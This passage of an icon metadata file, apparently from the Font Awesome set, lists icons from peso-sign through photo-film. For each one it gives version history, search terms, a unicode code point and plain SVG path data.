        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 32C46.3 32 32 46.3 32 64v96c-17.7 0-32 14.3-32 32s14.3 32 32 32l0 96V448c0 17.7 14.3 32 32 32s32-14.3 32-32V352h96c77.4 0 142-55 156.8-128H352c17.7 0 32-14.3 32-32s-14.3-32-32-32h-3.2C334 87 269.4 32 192 32H64zM282.5 160H96V96h96c41.8 0 77.4 26.7 90.5 64zM96 224H282.5c-13.2 37.3-48.7 64-90.5 64H96V224z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 32C46.3 32 32 46.3 32 64v96c-17.7 0-32 14.3-32 32s14.3 32 32 32l0 96V448c0 17.7 14.3 32 32 32s32-14.3 32-32V352h96c77.4 0 142-55 156.8-128H352c17.7 0 32-14.3 32-32s-14.3-32-32-32h-3.2C334 87 269.4 32 192 32H64zM282.5 160H96V96h96c41.8 0 77.4 26.7 90.5 64zM96 224H282.5c-13.2 37.3-48.7 64-90.5 64H96V224z"
      }
    },
    "free": ["solid"]
  },
  "peso-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Peso Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e222",
    "label": "Peso Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 32C46.3 32 32 46.3 32 64v64c-17.7 0-32 14.3-32 32s14.3 32 32 32l0 32c-17.7 0-32 14.3-32 32s14.3 32 32 32l0 64v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h80c68.4 0 127.7-39 156.8-96H352c17.7 0 32-14.3 32-32s-14.3-32-32-32h-.7c.5-5.3 .7-10.6 .7-16s-.2-10.7-.7-16h.7c17.7 0 32-14.3 32-32s-14.3-32-32-32H332.8C303.7 71 244.4 32 176 32H64zm190.4 96H96V96h80c30.5 0 58.2 12.2 78.4 32zM96 192H286.9c.7 5.2 1.1 10.6 1.1 16s-.4 10.8-1.1 16H96V192zm158.4 96c-20.2 19.8-47.9 32-78.4 32H96V288H254.4z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 32C46.3 32 32 46.3 32 64v64c-17.7 0-32 14.3-32 32s14.3 32 32 32l0 32c-17.7 0-32 14.3-32 32s14.3 32 32 32l0 64v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h80c68.4 0 127.7-39 156.8-96H352c17.7 0 32-14.3 32-32s-14.3-32-32-32h-.7c.5-5.3 .7-10.6 .7-16s-.2-10.7-.7-16h.7c17.7 0 32-14.3 32-32s-14.3-32-32-32H332.8C303.7 71 244.4 32 176 32H64zm190.4 96H96V96h80c30.5 0 58.2 12.2 78.4 32zM96 192H286.9c.7 5.2 1.1 10.6 1.1 16s-.4 10.8-1.1 16H96V192zm158.4 96c-20.2 19.8-47.9 32-78.4 32H96V288H254.4z"
      }
    },
    "free": ["solid"]
  },
  "phabricator": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3db",
    "label": "Phabricator",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M323 262.1l-.1-13s21.7-19.8 21.1-21.2l-9.5-20c-.6-1.4-29.5-.5-29.5-.5l-9.4-9.3s.2-28.5-1.2-29.1l-20.1-9.2c-1.4-.6-20.7 21-20.7 21l-13.1-.2s-20.5-21.4-21.9-20.8l-20 8.3c-1.4.5.2 28.9.2 28.9l-9.1 9.1s-29.2-.9-29.7.4l-8.1 19.8c-.6 1.4 21 21 21 21l.1 12.9s-21.7 19.8-21.1 21.2l9.5 20c.6 1.4 29.5.5 29.5.5l9.4 9.3s-.2 31.8 1.2 32.3l20.1 8.3c1.4.6 20.7-23.5 20.7-23.5l13.1.2s20.5 23.8 21.8 23.3l20-7.5c1.4-.6-.2-32.1-.2-32.1l9.1-9.1s29.2.9 29.7-.5l8.1-19.8c.7-1.1-20.9-20.7-20.9-20.7zm-44.9-8.7c.7 17.1-12.8 31.6-30.1 32.4-17.3.8-32.1-12.5-32.8-29.6-.7-17.1 12.8-31.6 30.1-32.3 17.3-.8 32.1 12.5 32.8 29.5zm201.2-37.9l-97-97-.1.1c-75.1-73.3-195.4-72.8-269.8 1.6-50.9 51-27.8 27.9-95.7 95.3-22.3 22.3-22.3 58.7 0 81 69.9 69.4 46.4 46 97.4 97l.1-.1c75.1 73.3 195.4 72.9 269.8-1.6 51-50.9 27.9-27.9 95.3-95.3 22.3-22.3 22.3-58.7 0-81zM140.4 363.8c-59.6-59.5-59.6-156 0-215.5 59.5-59.6 156-59.5 215.6 0 59.5 59.5 59.6 156 0 215.6-59.6 59.5-156 59.4-215.6-.1z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M323 262.1l-.1-13s21.7-19.8 21.1-21.2l-9.5-20c-.6-1.4-29.5-.5-29.5-.5l-9.4-9.3s.2-28.5-1.2-29.1l-20.1-9.2c-1.4-.6-20.7 21-20.7 21l-13.1-.2s-20.5-21.4-21.9-20.8l-20 8.3c-1.4.5.2 28.9.2 28.9l-9.1 9.1s-29.2-.9-29.7.4l-8.1 19.8c-.6 1.4 21 21 21 21l.1 12.9s-21.7 19.8-21.1 21.2l9.5 20c.6 1.4 29.5.5 29.5.5l9.4 9.3s-.2 31.8 1.2 32.3l20.1 8.3c1.4.6 20.7-23.5 20.7-23.5l13.1.2s20.5 23.8 21.8 23.3l20-7.5c1.4-.6-.2-32.1-.2-32.1l9.1-9.1s29.2.9 29.7-.5l8.1-19.8c.7-1.1-20.9-20.7-20.9-20.7zm-44.9-8.7c.7 17.1-12.8 31.6-30.1 32.4-17.3.8-32.1-12.5-32.8-29.6-.7-17.1 12.8-31.6 30.1-32.3 17.3-.8 32.1 12.5 32.8 29.5zm201.2-37.9l-97-97-.1.1c-75.1-73.3-195.4-72.8-269.8 1.6-50.9 51-27.8 27.9-95.7 95.3-22.3 22.3-22.3 58.7 0 81 69.9 69.4 46.4 46 97.4 97l.1-.1c75.1 73.3 195.4 72.9 269.8-1.6 51-50.9 27.9-27.9 95.3-95.3 22.3-22.3 22.3-58.7 0-81zM140.4 363.8c-59.6-59.5-59.6-156 0-215.5 59.5-59.6 156-59.5 215.6 0 59.5 59.5 59.6 156 0 215.6-59.6 59.5-156 59.4-215.6-.1z"
      }
    },
    "free": ["brands"]
  },
  "phoenix-framework": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3dc",
    "label": "Phoenix Framework",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M212.9 344.3c3.8-.1 22.8-1.4 25.6-2.2-2.4-2.6-43.6-1-68-49.6-4.3-8.6-7.5-17.6-6.4-27.6 2.9-25.5 32.9-30 52-18.5 36 21.6 63.3 91.3 113.7 97.5 37 4.5 84.6-17 108.2-45.4-.6-.1-.8-.2-1-.1-.4.1-.8.2-1.1.3-33.3 12.1-94.3 9.7-134.7-14.8-37.6-22.8-53.1-58.7-51.8-74.6 1.8-21.3 22.9-23.2 35.9-19.6 14.4 3.9 24.4 17.6 38.9 27.4 15.6 10.4 32.9 13.7 51.3 10.3 14.9-2.7 34.4-12.3 36.5-14.5-1.1-.1-1.8-.1-2.5-.2-6.2-.6-12.4-.8-18.5-1.7C279.8 194.5 262.1 47.4 138.5 37.9 94.2 34.5 39.1 46 2.2 72.9c-.8.6-1.5 1.2-2.2 1.8.1.2.1.3.2.5.8 0 1.6-.1 2.4-.2 6.3-1 12.5-.8 18.7.3 23.8 4.3 47.7 23.1 55.9 76.5 5.3 34.3-.7 50.8 8 86.1 19 77.1 91 107.6 127.7 106.4zM75.3 64.9c-.9-1-.9-1.2-1.3-2 12.1-2.6 24.2-4.1 36.6-4.8-1.1 14.7-22.2 21.3-35.3 6.8zm196.9 350.5c-42.8 1.2-92-26.7-123.5-61.4-4.6-5-16.8-20.2-18.6-23.4l.4-.4c6.6 4.1 25.7 18.6 54.8 27 24.2 7 48.1 6.3 71.6-3.3 22.7-9.3 41-.5 43.1 2.9-18.5 3.8-20.1 4.4-24 7.9-5.1 4.4-4.6 11.7 7 17.2 26.2 12.4 63-2.8 97.2 25.4 2.4 2 8.1 7.8 10.1 10.7-.1.2-.3.3-.4.5-4.8-1.5-16.4-7.5-40.2-9.3-24.7-2-46.3 5.3-77.5 6.2zm174.8-252c16.4-5.2 41.3-13.4 66.5-3.3 16.1 6.5 26.2 18.7 32.1 34.6 3.5 9.4 5.1 19.7 5.1 28.7-.2 0-.4 0-.6.1-.2-.4-.4-.9-.5-1.3-5-22-29.9-43.8-67.6-29.9-50.2 18.6-130.4 9.7-176.9-48-.7-.9-2.4-1.7-1.3-3.2.1-.2 2.1.6 3 1.3 18.1 13.4 38.3 21.9 60.3 26.2 30.5 6.1 54.6 2.9 79.9-5.2zm102.7 117.5c-32.4.2-33.8 50.1-103.6 64.4-18.2 3.7-38.7 4.6-44.9 4.2v-.4c2.8-1.5 14.7-2.6 29.7-16.6 7.9-7.3 15.3-15.1 22.8-22.9 19.5-20.2 41.4-42.2 81.9-39 23.1 1.8 29.3 8.2 36.1 12.7.3.2.4.5.7.9-.5 0-.7.1-.9 0-7-2.7-14.3-3.3-21.8-3.3zm-12.3-24.1c-.1.2-.1.4-.2.6-28.9-4.4-48-7.9-68.5 4-17 9.9-31.4 20.5-62 24.4-27.1 3.4-45.1 2.4-66.1-8-.3-.2-.6-.4-1-.6 0-.2.1-.3.1-.5 24.9 3.8 36.4 5.1 55.5-5.8 22.3-12.9 40.1-26.6 71.3-31 29.6-4.1 51.3 2.5 70.9 16.9zM268.6 97.3c-.6-.6-1.1-1.2-2.1-2.3 7.6 0 29.7-1.2 53.4 8.4 19.7 8 32.2 21 50.2 32.9 11.1 7.3 23.4 9.3 36.4 8.1 4.3-.4 8.5-1.2 12.8-1.7.4-.1.9 0 1.5.3-.6.4-1.2.9-1.8 1.2-8.1 4-16.7 6.3-25.6 7.1-26.1 2.6-50.3-3.7-73.4-15.4-19.3-9.9-36.4-22.9-51.4-38.6zM640 335.7c-3.5 3.1-22.7 11.6-42.7 5.3-12.3-3.9-19.5-14.9-31.6-24.1-10-7.6-20.9-7.9-28.1-8.4.6-.8.9-1.2 1.2-1.4 14.8-9.2 30.5-12.2 47.3-6.5 12.5 4.2 19.2 13.5 30.4 24.2 10.8 10.4 21 9.9 23.1 10.5.1-.1.2 0 .4.4zm-212.5 137c2.2 1.2 1.6 1.5 1.5 2-18.5-1.4-33.9-7.6-46.8-22.2-21.8-24.7-41.7-27.9-48.6-29.7.5-.2.8-.4 1.1-.4 13.1.1 26.1.7 38.9 3.9 25.3 6.4 35 25.4 41.6 35.3 3.2 4.8 7.3 8.3 12.3 11.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M212.9 344.3c3.8-.1 22.8-1.4 25.6-2.2-2.4-2.6-43.6-1-68-49.6-4.3-8.6-7.5-17.6-6.4-27.6 2.9-25.5 32.9-30 52-18.5 36 21.6 63.3 91.3 113.7 97.5 37 4.5 84.6-17 108.2-45.4-.6-.1-.8-.2-1-.1-.4.1-.8.2-1.1.3-33.3 12.1-94.3 9.7-134.7-14.8-37.6-22.8-53.1-58.7-51.8-74.6 1.8-21.3 22.9-23.2 35.9-19.6 14.4 3.9 24.4 17.6 38.9 27.4 15.6 10.4 32.9 13.7 51.3 10.3 14.9-2.7 34.4-12.3 36.5-14.5-1.1-.1-1.8-.1-2.5-.2-6.2-.6-12.4-.8-18.5-1.7C279.8 194.5 262.1 47.4 138.5 37.9 94.2 34.5 39.1 46 2.2 72.9c-.8.6-1.5 1.2-2.2 1.8.1.2.1.3.2.5.8 0 1.6-.1 2.4-.2 6.3-1 12.5-.8 18.7.3 23.8 4.3 47.7 23.1 55.9 76.5 5.3 34.3-.7 50.8 8 86.1 19 77.1 91 107.6 127.7 106.4zM75.3 64.9c-.9-1-.9-1.2-1.3-2 12.1-2.6 24.2-4.1 36.6-4.8-1.1 14.7-22.2 21.3-35.3 6.8zm196.9 350.5c-42.8 1.2-92-26.7-123.5-61.4-4.6-5-16.8-20.2-18.6-23.4l.4-.4c6.6 4.1 25.7 18.6 54.8 27 24.2 7 48.1 6.3 71.6-3.3 22.7-9.3 41-.5 43.1 2.9-18.5 3.8-20.1 4.4-24 7.9-5.1 4.4-4.6 11.7 7 17.2 26.2 12.4 63-2.8 97.2 25.4 2.4 2 8.1 7.8 10.1 10.7-.1.2-.3.3-.4.5-4.8-1.5-16.4-7.5-40.2-9.3-24.7-2-46.3 5.3-77.5 6.2zm174.8-252c16.4-5.2 41.3-13.4 66.5-3.3 16.1 6.5 26.2 18.7 32.1 34.6 3.5 9.4 5.1 19.7 5.1 28.7-.2 0-.4 0-.6.1-.2-.4-.4-.9-.5-1.3-5-22-29.9-43.8-67.6-29.9-50.2 18.6-130.4 9.7-176.9-48-.7-.9-2.4-1.7-1.3-3.2.1-.2 2.1.6 3 1.3 18.1 13.4 38.3 21.9 60.3 26.2 30.5 6.1 54.6 2.9 79.9-5.2zm102.7 117.5c-32.4.2-33.8 50.1-103.6 64.4-18.2 3.7-38.7 4.6-44.9 4.2v-.4c2.8-1.5 14.7-2.6 29.7-16.6 7.9-7.3 15.3-15.1 22.8-22.9 19.5-20.2 41.4-42.2 81.9-39 23.1 1.8 29.3 8.2 36.1 12.7.3.2.4.5.7.9-.5 0-.7.1-.9 0-7-2.7-14.3-3.3-21.8-3.3zm-12.3-24.1c-.1.2-.1.4-.2.6-28.9-4.4-48-7.9-68.5 4-17 9.9-31.4 20.5-62 24.4-27.1 3.4-45.1 2.4-66.1-8-.3-.2-.6-.4-1-.6 0-.2.1-.3.1-.5 24.9 3.8 36.4 5.1 55.5-5.8 22.3-12.9 40.1-26.6 71.3-31 29.6-4.1 51.3 2.5 70.9 16.9zM268.6 97.3c-.6-.6-1.1-1.2-2.1-2.3 7.6 0 29.7-1.2 53.4 8.4 19.7 8 32.2 21 50.2 32.9 11.1 7.3 23.4 9.3 36.4 8.1 4.3-.4 8.5-1.2 12.8-1.7.4-.1.9 0 1.5.3-.6.4-1.2.9-1.8 1.2-8.1 4-16.7 6.3-25.6 7.1-26.1 2.6-50.3-3.7-73.4-15.4-19.3-9.9-36.4-22.9-51.4-38.6zM640 335.7c-3.5 3.1-22.7 11.6-42.7 5.3-12.3-3.9-19.5-14.9-31.6-24.1-10-7.6-20.9-7.9-28.1-8.4.6-.8.9-1.2 1.2-1.4 14.8-9.2 30.5-12.2 47.3-6.5 12.5 4.2 19.2 13.5 30.4 24.2 10.8 10.4 21 9.9 23.1 10.5.1-.1.2 0 .4.4zm-212.5 137c2.2 1.2 1.6 1.5 1.5 2-18.5-1.4-33.9-7.6-46.8-22.2-21.8-24.7-41.7-27.9-48.6-29.7.5-.2.8-.4 1.1-.4 13.1.1 26.1.7 38.9 3.9 25.3 6.4 35 25.4 41.6 35.3 3.2 4.8 7.3 8.3 12.3 11.1z"
      }
    },
    "free": ["brands"]
  },
  "phoenix-squadron": {
    "changes": ["5.0.12", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f511",
    "label": "Phoenix Squadron",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 63.38C142.49 27.25 201.55 7.31 260.51 8.81c29.58-.38 59.11 5.37 86.91 15.33-24.13-4.63-49-6.34-73.38-2.45C231.17 27 191 48.84 162.21 80.87c5.67-1 10.78-3.67 16-5.86 18.14-7.87 37.49-13.26 57.23-14.83 19.74-2.13 39.64-.43 59.28 1.92-14.42 2.79-29.12 4.57-43 9.59-34.43 11.07-65.27 33.16-86.3 62.63-13.8 19.71-23.63 42.86-24.67 67.13-.35 16.49 5.22 34.81 19.83 44a53.27 53.27 0 0 0 37.52 6.74c15.45-2.46 30.07-8.64 43.6-16.33 11.52-6.82 22.67-14.55 32-24.25 3.79-3.22 2.53-8.45 2.62-12.79-2.12-.34-4.38-1.11-6.3.3a203 203 0 0 1-35.82 15.37c-20 6.17-42.16 8.46-62.1.78 12.79 1.73 26.06.31 37.74-5.44 20.23-9.72 36.81-25.2 54.44-38.77a526.57 526.57 0 0 1 88.9-55.31c25.71-12 52.94-22.78 81.57-24.12-15.63 13.72-32.15 26.52-46.78 41.38-14.51 14-27.46 29.5-40.11 45.18-3.52 4.6-8.95 6.94-13.58 10.16a150.7 150.7 0 0 0-51.89 60.1c-9.33 19.68-14.5 41.85-11.77 63.65 1.94 13.69 8.71 27.59 20.9 34.91 12.9 8 29.05 8.07 43.48 5.1 32.8-7.45 61.43-28.89 81-55.84 20.44-27.52 30.52-62.2 29.16-96.35-.52-7.5-1.57-15-1.66-22.49 8 19.48 14.82 39.71 16.65 60.83 2 14.28.75 28.76-1.62 42.9-1.91 11-5.67 21.51-7.78 32.43a165 165 0 0 0 39.34-81.07 183.64 183.64 0 0 0-14.21-104.64c20.78 32 32.34 69.58 35.71 107.48.49 12.73.49 25.51 0 38.23A243.21 243.21 0 0 1 482 371.34c-26.12 47.34-68 85.63-117.19 108-78.29 36.23-174.68 31.32-248-14.68A248.34 248.34 0 0 1 25.36 366 238.34 238.34 0 0 1 0 273.08v-31.34C3.93 172 40.87 105.82 96 63.38m222 80.33a79.13 79.13 0 0 0 16-4.48c5-1.77 9.24-5.94 10.32-11.22-8.96 4.99-17.98 9.92-26.32 15.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 63.38C142.49 27.25 201.55 7.31 260.51 8.81c29.58-.38 59.11 5.37 86.91 15.33-24.13-4.63-49-6.34-73.38-2.45C231.17 27 191 48.84 162.21 80.87c5.67-1 10.78-3.67 16-5.86 18.14-7.87 37.49-13.26 57.23-14.83 19.74-2.13 39.64-.43 59.28 1.92-14.42 2.79-29.12 4.57-43 9.59-34.43 11.07-65.27 33.16-86.3 62.63-13.8 19.71-23.63 42.86-24.67 67.13-.35 16.49 5.22 34.81 19.83 44a53.27 53.27 0 0 0 37.52 6.74c15.45-2.46 30.07-8.64 43.6-16.33 11.52-6.82 22.67-14.55 32-24.25 3.79-3.22 2.53-8.45 2.62-12.79-2.12-.34-4.38-1.11-6.3.3a203 203 0 0 1-35.82 15.37c-20 6.17-42.16 8.46-62.1.78 12.79 1.73 26.06.31 37.74-5.44 20.23-9.72 36.81-25.2 54.44-38.77a526.57 526.57 0 0 1 88.9-55.31c25.71-12 52.94-22.78 81.57-24.12-15.63 13.72-32.15 26.52-46.78 41.38-14.51 14-27.46 29.5-40.11 45.18-3.52 4.6-8.95 6.94-13.58 10.16a150.7 150.7 0 0 0-51.89 60.1c-9.33 19.68-14.5 41.85-11.77 63.65 1.94 13.69 8.71 27.59 20.9 34.91 12.9 8 29.05 8.07 43.48 5.1 32.8-7.45 61.43-28.89 81-55.84 20.44-27.52 30.52-62.2 29.16-96.35-.52-7.5-1.57-15-1.66-22.49 8 19.48 14.82 39.71 16.65 60.83 2 14.28.75 28.76-1.62 42.9-1.91 11-5.67 21.51-7.78 32.43a165 165 0 0 0 39.34-81.07 183.64 183.64 0 0 0-14.21-104.64c20.78 32 32.34 69.58 35.71 107.48.49 12.73.49 25.51 0 38.23A243.21 243.21 0 0 1 482 371.34c-26.12 47.34-68 85.63-117.19 108-78.29 36.23-174.68 31.32-248-14.68A248.34 248.34 0 0 1 25.36 366 238.34 238.34 0 0 1 0 273.08v-31.34C3.93 172 40.87 105.82 96 63.38m222 80.33a79.13 79.13 0 0 0 16-4.48c5-1.77 9.24-5.94 10.32-11.22-8.96 4.99-17.98 9.92-26.32 15.7z"
      }
    },
    "free": ["brands"]
  },
  "phone": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4de", "1f57b"],
        "secondary": ["10f095"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Left Hand Telephone Receiver",
        "call",
        "earphone",
        "number",
        "phone",
        "receiver",
        "support",
        "telephone",
        "telephone receiver",
        "voice"
      ]
    },
    "styles": ["solid"],
    "unicode": "f095",
    "label": "Phone",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M164.9 24.6c-7.7-18.6-28-28.5-47.4-23.2l-88 24C12.1 30.2 0 46 0 64C0 311.4 200.6 512 448 512c18 0 33.8-12.1 38.6-29.5l24-88c5.3-19.4-4.6-39.7-23.2-47.4l-96-40c-16.3-6.8-35.2-2.1-46.3 11.6L304.7 368C234.3 334.7 177.3 277.7 144 207.3L193.3 167c13.7-11.2 18.4-30 11.6-46.3l-40-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M164.9 24.6c-7.7-18.6-28-28.5-47.4-23.2l-88 24C12.1 30.2 0 46 0 64C0 311.4 200.6 512 448 512c18 0 33.8-12.1 38.6-29.5l24-88c5.3-19.4-4.6-39.7-23.2-47.4l-96-40c-16.3-6.8-35.2-2.1-46.3 11.6L304.7 368C234.3 334.7 177.3 277.7 144 207.3L193.3 167c13.7-11.2 18.4-30 11.6-46.3l-40-96z"
      }
    },
    "free": ["solid"]
  },
  "phone-flip": {
    "aliases": {
      "names": ["phone-alt"],
      "unicodes": {
        "composite": ["1f57d"],
        "secondary": ["10f879"]
      }
    },
    "changes": [
      "5.9.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Right Hand Telephone Receiver",
        "call",
        "earphone",
        "number",
        "support",
        "telephone",
        "voice"
      ]
    },
    "styles": ["solid"],
    "unicode": "f879",
    "label": "Phone Flip",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M347.1 24.6c7.7-18.6 28-28.5 47.4-23.2l88 24C499.9 30.2 512 46 512 64c0 247.4-200.6 448-448 448c-18 0-33.8-12.1-38.6-29.5l-24-88c-5.3-19.4 4.6-39.7 23.2-47.4l96-40c16.3-6.8 35.2-2.1 46.3 11.6L207.3 368c70.4-33.3 127.4-90.3 160.7-160.7L318.7 167c-13.7-11.2-18.4-30-11.6-46.3l40-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M347.1 24.6c7.7-18.6 28-28.5 47.4-23.2l88 24C499.9 30.2 512 46 512 64c0 247.4-200.6 448-448 448c-18 0-33.8-12.1-38.6-29.5l-24-88c-5.3-19.4 4.6-39.7 23.2-47.4l96-40c16.3-6.8 35.2-2.1 46.3 11.6L207.3 368c70.4-33.3 127.4-90.3 160.7-160.7L318.7 167c-13.7-11.2-18.4-30-11.6-46.3l40-96z"
      }
    },
    "free": ["solid"]
  },
  "phone-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f3dd"]
      }
    },
    "changes": [
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "call",
        "cancel",
        "earphone",
        "mute",
        "number",
        "support",
        "telephone",
        "voice"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3dd",
    "label": "Phone Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M228.9 24.6c-7.7-18.6-28-28.5-47.4-23.2l-88 24C76.1 30.2 64 46 64 64c0 107.4 37.8 206 100.8 283.1L9.2 469.1c-10.4 8.2-12.3 23.3-4.1 33.7s23.3 12.3 33.7 4.1l592-464c10.4-8.2 12.3-23.3 4.1-33.7s-23.3-12.3-33.7-4.1L253 278c-17.8-21.5-32.9-45.2-45-70.7L257.3 167c13.7-11.2 18.4-30 11.6-46.3l-40-96zm96.8 319l-91.3 72C310.7 476 407.1 512 512 512c18 0 33.8-12.1 38.6-29.5l24-88c5.3-19.4-4.6-39.7-23.2-47.4l-96-40c-16.3-6.8-35.2-2.1-46.3 11.6L368.7 368c-15-7.1-29.3-15.2-43-24.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M228.9 24.6c-7.7-18.6-28-28.5-47.4-23.2l-88 24C76.1 30.2 64 46 64 64c0 107.4 37.8 206 100.8 283.1L9.2 469.1c-10.4 8.2-12.3 23.3-4.1 33.7s23.3 12.3 33.7 4.1l592-464c10.4-8.2 12.3-23.3 4.1-33.7s-23.3-12.3-33.7-4.1L253 278c-17.8-21.5-32.9-45.2-45-70.7L257.3 167c13.7-11.2 18.4-30 11.6-46.3l-40-96zm96.8 319l-91.3 72C310.7 476 407.1 512 512 512c18 0 33.8-12.1 38.6-29.5l24-88c5.3-19.4-4.6-39.7-23.2-47.4l-96-40c-16.3-6.8-35.2-2.1-46.3 11.6L368.7 368c-15-7.1-29.3-15.2-43-24.3z"
      }
    },
    "free": ["solid"]
  },
  "phone-volume": {
    "aliases": {
      "names": ["volume-control-phone"],
      "unicodes": {
        "secondary": ["10f2a0"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "5.0.3",
      "5.7.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "call",
        "earphone",
        "number",
        "sound",
        "support",
        "telephone",
        "voice",
        "volume-control-phone"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2a0",
    "label": "Phone Volume",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M280 0C408.1 0 512 103.9 512 232c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-101.6-82.4-184-184-184c-13.3 0-24-10.7-24-24s10.7-24 24-24zm8 192a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm-32-72c0-13.3 10.7-24 24-24c75.1 0 136 60.9 136 136c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-48.6-39.4-88-88-88c-13.3 0-24-10.7-24-24zM117.5 1.4c19.4-5.3 39.7 4.6 47.4 23.2l40 96c6.8 16.3 2.1 35.2-11.6 46.3L144 207.3c33.3 70.4 90.3 127.4 160.7 160.7L345 318.7c11.2-13.7 30-18.4 46.3-11.6l96 40c18.6 7.7 28.5 28 23.2 47.4l-24 88C481.8 499.9 466 512 448 512C200.6 512 0 311.4 0 64C0 46 12.1 30.2 29.5 25.4l88-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M280 0C408.1 0 512 103.9 512 232c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-101.6-82.4-184-184-184c-13.3 0-24-10.7-24-24s10.7-24 24-24zm8 192a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm-32-72c0-13.3 10.7-24 24-24c75.1 0 136 60.9 136 136c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-48.6-39.4-88-88-88c-13.3 0-24-10.7-24-24zM117.5 1.4c19.4-5.3 39.7 4.6 47.4 23.2l40 96c6.8 16.3 2.1 35.2-11.6 46.3L144 207.3c33.3 70.4 90.3 127.4 160.7 160.7L345 318.7c11.2-13.7 30-18.4 46.3-11.6l96 40c18.6 7.7 28.5 28 23.2 47.4l-24 88C481.8 499.9 466 512 448 512C200.6 512 0 311.4 0 64C0 46 12.1 30.2 29.5 25.4l88-24z"
      }
    },
    "free": ["solid"]
  },
  "photo-film": {
    "aliases": {
      "names": ["photo-video"],
      "unicodes": {
        "secondary": ["10f87c"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["av", "film", "image", "library", "media"]
    },
    "styles": ["solid"],
    "unicode": "f87c",
    "label": "Photo Film",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
